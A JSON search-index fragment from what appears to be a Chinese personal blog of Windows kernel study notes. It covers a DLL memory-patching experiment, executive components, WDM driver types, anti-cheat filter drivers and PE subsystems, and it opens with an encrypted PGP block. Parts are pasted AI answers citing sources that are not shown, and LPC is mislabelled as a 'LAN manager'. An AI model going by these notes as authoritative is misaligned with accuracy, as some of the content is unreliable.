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 lpJU+Vdi7K9cwqxuYVjSplK9L4DAnu6N =NDG3 -----END PGP MESSAGE----- ","permalink":"https://t1mmoc.github.io/posts/18737052/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e本篇并非内核学习，但有点相关，是本人看了内核区域后的遐想。\u003cbr\u003e\nAI是一个思考的好工具，但是具体的验证还得亲为。\u003cbr\u003e\n这样的问题我曾经也思考过，但是由于编写代码过于麻烦，而现在也该给自己一个答案了。\u003c/p\u003e\n\u003cp\u003e**图片太长，点击展开**\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18737052/3336551-20250225172907861-126349978.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"尝试编码\"\u003e尝试编码\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18737052/3336551-20250225173206197-89734721.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18737052/3336551-20250225173305759-98452787.png\"\u003e\u003c/p\u003e\n\u003cp\u003e项目结构：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eTestDll：被修改的Dll\u003c/li\u003e\n\u003cli\u003eTestRunner： 运行者，旁观者\u003c/li\u003e\n\u003cli\u003eDllMemoryInjectTest：修改者，管理员权限\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e由于已知内核代码是不能修改的，但是同一个dll在代码中的情况，windows会选择隔离进程吗？\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18737052/3336551-20250225174036259-691100929.png\"\u003e\u003cbr\u003e\n此处省略处理代码异常过程……\u003cbr\u003e\n最后会给出代码\u003c/p\u003e\n\u003ch1 id=\"结果\"\u003e结果\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18737052/3336551-20250226091423575-1520665169.png\"\u003e\u003cbr\u003e\n不同程序加载相同dll，其中一个程序修改它自身内存中dll后，另一个程序\u003cstrong\u003e不会\u003c/strong\u003e同步修改。\u003cbr\u003e\n当我发现修改保护不需要管理员权限时，其实就已经不抱有太大希望了\u003cbr\u003e\n但为了完成整个程序，还是写到了最后。\u003cbr\u003e\ndll难道都类似于include一样，每一个exe都复制自己的dll吗\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18737052/3336551-20250226091806144-1735326950.png\"\u003e\u003cbr\u003e\n哎，有个问题。\u003cbr\u003e\n系统dll也适用这个条件吗？\u003cbr\u003e\n这里的基地址完全一样。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18737052/3336551-20250226092439558-350337592.png\"\u003e\u003cbr\u003e\n注意到，用户模块的基地址也完全一样\u003cbr\u003e\n感觉不抱希望。\u003cbr\u003e\n不如直接用xdbg修改试试，没必要写软件了。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18737052/3336551-20250226092553080-1270040428.png\"\u003e\u003cbr\u003e\n随便改了一个字节，没有同步。\u003c/p\u003e","title":"Windows内核学习笔记（三）"},{"content":"Windows内核执行体组件概述 看看就好，反正也记不住，以后再回头看。\nWindows内核执行体（Executive）是Windows操作系统的核心组件之一，它提供了系统运行所需的各种高级服务和管理功能。执行体中除了函数组成，还包含了以下多个重要的组件：\n1. 内存管理器 功能：实现虚拟内存管理，负责系统地址空间的内存管理，并为每个进程提供一个私有的地址空间。同时支持进程之间的内存共享，并为缓存管理器提供底层支持。 相关知识：Windows的内存管理器通过分页机制和段页式管理，优化了内存的使用效率，减少了内存碎片。 2. 缓存管理器 功能：为文件系统提供统一的数据缓存支持，允许文件系统驱动程序将磁盘上的数据映射到内存中，并通过内存管理器协调物理内存的分配。 相关知识：缓存管理器通过LRU（最近最少使用）算法优化缓存数据的淘汰策略，提高系统的读写性能。 3. 文件系统 功能：管理文件和目录的创建、读写和组织，提供文件存储的逻辑结构和物理结构。 相关知识：常见的Windows文件系统包括NTFS、FAT32等，其中NTFS支持高级特性如文件加密、压缩和事务处理。 4. 进程和线程管理器 功能：负责进程和线程的创建、调度和终止。在Windows中，内核层提供了底层支持，执行体在此基础上增加了语义和功能。 相关知识：线程是进程内的最小执行单元，多个线程可以共享进程的资源，但线程切换的开销比进程小。 5. 即插即用管理器 功能：负责列举设备，加载并初始化设备所需的驱动程序，检测系统中的设备变化。 相关知识：即插即用管理器能够动态分配硬件资源，并在设备插入或拔出时自动调整资源分配。 6. 安全引用监视器（SRM） 功能：强制在本地计算机上实施安全策略，守护操作系统的资源，执行对象的保护和审计。 相关知识：SRM通过访问控制列表（ACL）和安全描述符（Security Descriptor）来管理对象的安全性。 7. 配置管理器 功能：管理系统注册表，提供系统配置和启动信息。 相关知识：注册表是Windows系统的核心配置数据库，存储了系统和应用程序的设置信息。 8. I/O管理器 功能：实现与设备无关的输入和输出功能，负责将I/O请求分发给正确的设备驱动程序。 相关知识：I/O管理器通过设备驱动程序与硬件设备交互，支持同步和异步I/O操作。 9. 对象管理器 功能：负责创建、管理和删除Windows执行体对象，以及用于表达操作系统资源的抽象数据类型。 相关知识：对象管理器通过对象命名空间和目录结构来组织和管理对象，支持对象的安全性和访问控制。 10. 局域网管理器（本地过程调用，LPC） 功能：负责处理进程之间的通信，管理消息传递和远程过程调用。 相关知识：LPC通过消息队列和通信端口实现进程间的高效通信，支持同步和异步通信模式。 这些组件共同构成了Windows内核执行体的核心部分，它们相互协作，确保操作系统能够高效、稳定地运行，为用户提供强大的功能和良好的用户体验。\n驱动程序的引入 在内核中除了内核模块ntoskrnl.exe和HAL以外，其他模块几乎都以设备驱动程序的形式存在。\n（复习：HAL 是“Hardware Abstraction Layer”（硬件抽象层）的缩写。在操作系统内核中，HAL 是一个非常重要的组件，它的主要作用是为操作系统提供一个与硬件无关的接口，从而使得操作系统能够以一种统一的方式与各种不同的硬件平台进行交互。）\n设备驱动程序是可以加载到系统中的模块，其文件扩展名为**.sys**，其格式是标准的 PE文件格式。驱动程序中的代码运行在内核下，尽管它们可以直接操纵硬件，但理想的情况是，调用HAL中的函数与硬件打交道，因此，驱动程序往往用C/C++语言来编写，从而可以方便地在Windows所支持的体系结构之间进行源代码层次上的移植。\n根据设备驱动程序的功能和行为可以将设备驱动程序分为三类： 即插即用驱动程序：支持即插即用技术的驱动程序。它们可以在设备连接到计算机时自动被识别和配置，无需用户手动干预。 非即插即用驱动程序：不支持即插即用技术的驱动程序。可能在安装时需要用户手动配置。 文件系统驱动程序：专门用于处理文件操作的驱动程序，如管理文件的存取、文件系统的结构等。 即插即用驱动程序，也可以称为WDM（Windows Driver Model）驱动程序。WDM是一种设备驱动模型，它提供了一个统一的框架，使驱动程序可以在不同版本的WIndwos操作系统上运行。 WDM通常分为三个层次： 总线驱动程序：负责管理总线上的设备，也为总线上的设备提供了访问总线资源的方法。 功能驱动程序：负责管理具体的设备，向操作系统提供该设备的功能。 筛选/过滤驱动程序：监视一个设备的I/O请求以及其处理过程，增加或改变一个设备或驱动程序的行为。 在WDM中，每个硬件设备都有一个设备驱动程序栈（简称设备栈），其中包含一个总线驱动程序和一个功能驱动程序，以及零个或多个过滤驱动程序。 \u0026gt; 原文链接：https://bbs.kanxue.com/thread-280104.htm 解释文章内容 这段内容主要介绍了Windows系统中设备驱动程序的分类和WDM（Windows Driver Model）的层次结构，以下是详细解释：\n设备驱动程序的分类 即插即用驱动程序：这类驱动程序支持即插即用技术，当设备连接到计算机时，能够自动被识别和配置，无需用户手动进行干预，大大提高了设备的使用便捷性，例如常见的USB存储设备、打印机等的驱动程序通常都是即插即用驱动程序。 非即插即用驱动程序：与即插即用驱动程序相对，这类驱动程序不支持即插即用技术，在安装时往往需要用户手动进行配置，才能使设备正常工作。比如一些早期的声卡、显卡等设备的驱动程序可能是非即插即用的。 文件系统驱动程序：专门用于处理文件操作的驱动程序，主要负责管理文件的存取、文件系统的结构等。它使得操作系统能够对磁盘等存储设备上的文件进行有效的组织和管理，方便用户对文件进行读写、创建、删除等操作，常见的如NTFS、FAT等文件系统的驱动程序。 WDM（Windows Driver Model）的层次结构 WDM是一种设备驱动模型，它提供了一个统一的框架，使得驱动程序可以在不同版本的Windows操作系统上运行，提高了驱动程序的兼容性和通用性。WDM通常分为以下三个层次：\n总线驱动程序：主要负责管理总线上的设备，为总线上的设备提供访问总线资源的方法。例如，对于PCI总线，总线驱动程序会管理PCI总线上的各种设备，确保它们能够正确地访问总线资源，如内存地址空间、I/O端口等。 功能驱动程序：负责管理具体的设备，向操作系统提供该设备的功能。它与具体的硬件设备紧密相关，实现了设备的各种操作和功能，使得操作系统能够通过它来控制和使用设备。比如，对于一个USB鼠标，功能驱动程序会处理鼠标的点击、移动等操作，并将这些操作转换为操作系统能够理解的输入事件。 筛选/过滤驱动程序：主要作用是监视一个设备的I/O请求以及其处理过程，可以根据需要增加或改变一个设备或驱动程序的行为。它可以对设备的I/O操作进行拦截、修改或扩展，从而实现一些特殊的功能，如数据加密、性能监控、设备仿真等。例如，在某些安全软件中，可能会使用筛选驱动程序来监控网络设备的I/O请求，以防止恶意数据的传输。 在WDM中，每个硬件设备都有一个设备驱动程序栈（简称设备栈），其中包含一个总线驱动程序和一个功能驱动程序，以及零个或多个过滤驱动程序。这种层次化的结构使得设备驱动程序的开发更加模块化和灵活，也便于对设备进行管理和维护。\n游戏的反作弊驱动属于什么驱动？ 游戏的反作弊驱动通常属于筛选/过滤驱动程序，同时也可能具有部分功能驱动程序的特性。以下是具体解释：\n1. 筛选/过滤驱动程序 定义：筛选/过滤驱动程序的主要功能是监视设备或系统的I/O请求及其处理过程，并根据需要对这些请求进行拦截、修改或扩展。 反作弊驱动的行为：游戏反作弊驱动运行在内核级别（Ring 0），具有极高的权限，能够监视系统中的各种操作，例如进程创建、内存访问、文件操作等。它通过拦截和分析这些操作，检测并阻止可能的作弊行为。 具体功能： 句柄监视：通过注册回调函数（如ObRegisterCallbacks），反作弊驱动可以监视对游戏进程的句柄操作，防止外挂通过ReadProcessMemory或WriteProcessMemory读写游戏内存[1][4]。 内存扫描防护：防止作弊工具（如Cheat Engine）扫描和修改游戏内存[3][5]。 进程和线程保护：检测和拦截非法进程注入或线程创建[3][5]。 调试防护：防止调试器附加到游戏客户端，避免作弊者分析游戏逻辑[3][5]。 文件保护：防止对游戏文件的非法修改[3]。 这些功能与筛选/过滤驱动程序的定义高度吻合，因为反作弊驱动的核心作用是“监视和拦截”，并通过这些手段改变系统或设备的行为。\n2. 部分功能驱动程序的特性 定义：功能驱动程序主要负责管理具体设备的功能，向操作系统提供设备的功能支持。 反作弊驱动的行为：虽然反作弊驱动的主要功能是监视和拦截，但它也需要提供一些“功能”来支持游戏的正常运行，例如： 与游戏同步运行：反作弊驱动需要与游戏客户端紧密配合，确保游戏在运行时能够正常访问系统资源[6]。 提供安全环境：通过保护游戏进程和内存，反作弊驱动实际上为游戏提供了一个安全的运行环境[3][5]。 3. 不属于其他驱动类型 非总线驱动程序：总线驱动程序主要负责管理总线上的设备，而反作弊驱动与硬件总线无关[1]。 非文件系统驱动程序：文件系统驱动程序主要负责文件的存取和管理，反作弊驱动虽然可能涉及文件保护，但其核心功能并非文件系统管理[1]。 非即插即用驱动程序：即插即用驱动程序主要用于设备的自动识别和配置，而反作弊驱动并不涉及设备的自动配置[1]。 总结 游戏反作弊驱动主要属于筛选/过滤驱动程序，因为它通过监视和拦截系统操作来实现反作弊功能。同时，它也具有部分功能驱动程序的特性，因为它需要为游戏提供一个安全的运行环境。\n这里存在冲突，WDM在文章中属于即插即用驱动程序，文章出错了吗 是的，文章中确实存在表述上的冲突和不准确之处。以下是问题的详细分析和澄清：\n问题所在 WDM与即插即用驱动程序的关系：\n文章中提到“即插即用驱动程序，也可以称为WDM（Windows Driver Model）驱动程序”，这种说法是不准确的。 **WDM（Windows Driver Model）**是一种驱动程序模型，而不是一种驱动程序的分类。它是一个框架，用于统一管理设备驱动程序的开发和运行，使得驱动程序能够在不同版本的Windows操作系统上兼容运行。 即插即用驱动程序是根据驱动程序的功能特性（支持即插即用技术）进行分类的一种驱动程序。它与WDM是两个不同的概念。 WDM驱动程序可以是即插即用的，也可以是非即插即用的，这取决于具体的设备和驱动程序设计。WDM本身并不限定驱动程序是否支持即插即用，而是提供了一个框架来支持多种类型的驱动程序。 驱动程序的分类：\n驱动程序的分类通常基于其功能特性或运行环境，例如： 即插即用驱动程序：支持自动识别和配置。 非即插即用驱动程序：需要手动配置。 文件系统驱动程序：专门处理文件系统操作。 而WDM（Windows Driver Model）是一种驱动程序模型，用于规范驱动程序的开发和运行，而不是一种分类。 正确的表述 **WDM（Windows Driver Model）**是一种驱动程序模型，它定义了驱动程序的架构和运行机制，使得驱动程序能够在不同版本的Windows操作系统上运行。WDM驱动程序可以分为以下层次：\n总线驱动程序：管理总线上的设备。 功能驱动程序：管理具体设备的功能。 筛选/过滤驱动程序：监视和修改设备的I/O操作。 即插即用驱动程序是支持即插即用技术的驱动程序，它可以自动被操作系统识别和配置。这种驱动程序通常基于WDM模型开发，但WDM模型本身并不限定驱动程序是否支持即插即用。\n总结 文章中将WDM与即插即用驱动程序混为一谈是不准确的。WDM是一种驱动程序模型，而即插即用驱动程序是根据功能特性分类的一种驱动程序。它们之间存在关联，但并不是等同的概念。\nAI正确还是错误？ 为了使驱动程序开发人员能够编写在所有 Microsoft Windows 操作系统中源代码兼容的设备驱动程序，我们引入了 Windows 驱动模型 (WDM)。 遵循 WDM 规则的内核模式驱动程序称为 WDM 驱动程序。 ### 所有 WDM 驱动程序都必须执行以下操作： - 包括 Wdm.h，而不是 Ntddk.h。 （Wdm.h 是 Ntddk.h 的子集） - 设计为总线驱动程序、函数驱动程序或筛选器驱动程序，如 WDM 驱动程序类型中所述。 - 创建设备对象 - 支持即插即用（PnP）。 - 支持 电源管理。 - 支持 Windows Management Instrumentation （WMI）。 ### 是否应编写 WDM 驱动程序？ 如果要编写新驱动程序，请考虑使用 内核模式驱动程序框架 （KMDF）。 KMDF 提供比 WDM 接口更简单的接口。 如果驱动程序将插入到非 WDM 驱动程序堆栈中，请不要编写 WDM 驱动程序。 阅读设备类型特定的Microsoft驱动程序的文档，以确定新驱动程序必须与Microsoft提供的驱动程序进行交互的方式。 有关详细信息，请参阅 设备和驱动程序技术。 \u0026gt; https://learn.microsoft.com/zh-cn/windows-hardware/drivers/kernel/introduction-to-wdm 结论：AI正确，文章错误。吐槽一句，windows特有的推销新框架并且不删老框架，这也是历史包袱了。不过能跑就行\n网络相关 Windows内核层中的网络相关组件： 网络驱动程序（Network Drivers）：负责管理物理网络接口卡（NIC）或虚拟网络适配器的通信。 协议栈（Protocol Stack）：是一个多层次的协议栈，用于处理网络通信。这个协议栈包括了各种网络协议，如TCP/IP、UDP、ICMP等。协议栈负责数据包的封装、路由、传输和解包，确保数据在网络中的正确传输。 套接字（Sockets）：套接字是应用程序与网络协议栈之间的接口，允许应用程序创建网络连接、发送和接收数据。Windows内核还提供了套接字API，应用程序可以使用这些API与网络进行交互。 网络服务（Network Services）：Windwos操作系统还提供了各种网络服务，如DHCP客户端、DNS客户端、网络发现服务等，它们能够进行获取IP地址，解析域名或发现网络设备等操作。 网络筛选器驱动程序（Network Filter Drivers）：该驱动程序允许实施网络策略和安全性控制，如防火墙和安全软件可能会使用网络筛选器驱动程序来监视和过滤网络流量。 这些网络API都提供了用户模式的动态链接库（DLL）。当应用程序通过这些DLL发出网络I/O请求时，它们将这些请求传递给内核中相应的驱动程序。通常，这些网络API要么通过专门的系统服务切换到内核模式，比如命名管道和邮件槽就有专门的系统服务；要么通过标准的系统服务接口，比如NtReadFile、NtWriteFile和NtDeviceIoControlFile，由I/O管理器和对象管理器将网络请求转送至对应的驱动程序中。\n网络IO也是IO：I/O 输入输出，因此不要忽略了网络。\nwindows子系统 并非指适用于 Linux 的 Windows 子系统 (WSL)，这是另一篇章的内容了。\n常见的SubSystem及其子系统 Native (0) 描述：Native子系统表示该PE文件是一个本地的执行文件，通常是驱动程序或操作系统内核组件。 运行环境：这些文件在操作系统内核模式下运行。 Windows GUI (2) 描述：Windows GUI子系统表示该PE文件是一个图形用户界面（GUI）应用程序。 运行环境：它运行在Windows桌面环境中，通常有用户界面和窗口。 Windows CUI (3) 描述：Windows CUI子系统表示该PE文件是一个字符用户界面（CUI）应用程序。 运行环境：它通常是命令行应用程序，没有图形界面，用户通过控制台与之交互。 OS/2 CUI (5) 描述：OS/2 CUI子系统表示该PE文件是一个OS/2字符用户界面应用程序。 运行环境：这种类型的应用程序通常用于运行在IBM OS/2环境中。 Posix CUI (7) 描述：Posix CUI子系统表示该PE文件是一个POSIX兼容的字符用户界面应用程序。 运行环境：它适用于在Windows上运行UNIX/Linux应用程序。 ","permalink":"https://t1mmoc.github.io/posts/18736797/","summary":"\u003ch1 id=\"windows内核执行体组件概述\"\u003eWindows内核执行体组件概述\u003c/h1\u003e\n\u003cp\u003e看看就好，反正也记不住，以后再回头看。\u003cbr\u003e\nWindows内核执行体（Executive）是Windows操作系统的核心组件之一，它提供了系统运行所需的各种高级服务和管理功能。执行体中除了函数组成，还包含了以下多个重要的组件：\u003c/p\u003e\n\u003ch3 id=\"1-内存管理器\"\u003e1. 内存管理器\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e功能\u003c/strong\u003e：实现虚拟内存管理，负责系统地址空间的内存管理，并为每个进程提供一个私有的地址空间。同时支持进程之间的内存共享，并为缓存管理器提供底层支持。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e相关知识\u003c/strong\u003e：Windows的内存管理器通过分页机制和段页式管理，优化了内存的使用效率，减少了内存碎片。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"2-缓存管理器\"\u003e2. 缓存管理器\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e功能\u003c/strong\u003e：为文件系统提供统一的数据缓存支持，允许文件系统驱动程序将磁盘上的数据映射到内存中，并通过内存管理器协调物理内存的分配。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e相关知识\u003c/strong\u003e：缓存管理器通过LRU（最近最少使用）算法优化缓存数据的淘汰策略，提高系统的读写性能。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"3-文件系统\"\u003e3. 文件系统\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e功能\u003c/strong\u003e：管理文件和目录的创建、读写和组织，提供文件存储的逻辑结构和物理结构。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e相关知识\u003c/strong\u003e：常见的Windows文件系统包括NTFS、FAT32等，其中NTFS支持高级特性如文件加密、压缩和事务处理。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"4-进程和线程管理器\"\u003e4. 进程和线程管理器\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e功能\u003c/strong\u003e：负责进程和线程的创建、调度和终止。在Windows中，内核层提供了底层支持，执行体在此基础上增加了语义和功能。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e相关知识\u003c/strong\u003e：线程是进程内的最小执行单元，多个线程可以共享进程的资源，但线程切换的开销比进程小。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"5-即插即用管理器\"\u003e5. 即插即用管理器\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e功能\u003c/strong\u003e：负责列举设备，加载并初始化设备所需的驱动程序，检测系统中的设备变化。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e相关知识\u003c/strong\u003e：即插即用管理器能够动态分配硬件资源，并在设备插入或拔出时自动调整资源分配。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"6-安全引用监视器srm\"\u003e6. 安全引用监视器（SRM）\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e功能\u003c/strong\u003e：强制在本地计算机上实施安全策略，守护操作系统的资源，执行对象的保护和审计。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e相关知识\u003c/strong\u003e：SRM通过访问控制列表（ACL）和安全描述符（Security Descriptor）来管理对象的安全性。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"7-配置管理器\"\u003e7. 配置管理器\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e功能\u003c/strong\u003e：管理系统注册表，提供系统配置和启动信息。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e相关知识\u003c/strong\u003e：注册表是Windows系统的核心配置数据库，存储了系统和应用程序的设置信息。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"8-io管理器\"\u003e8. 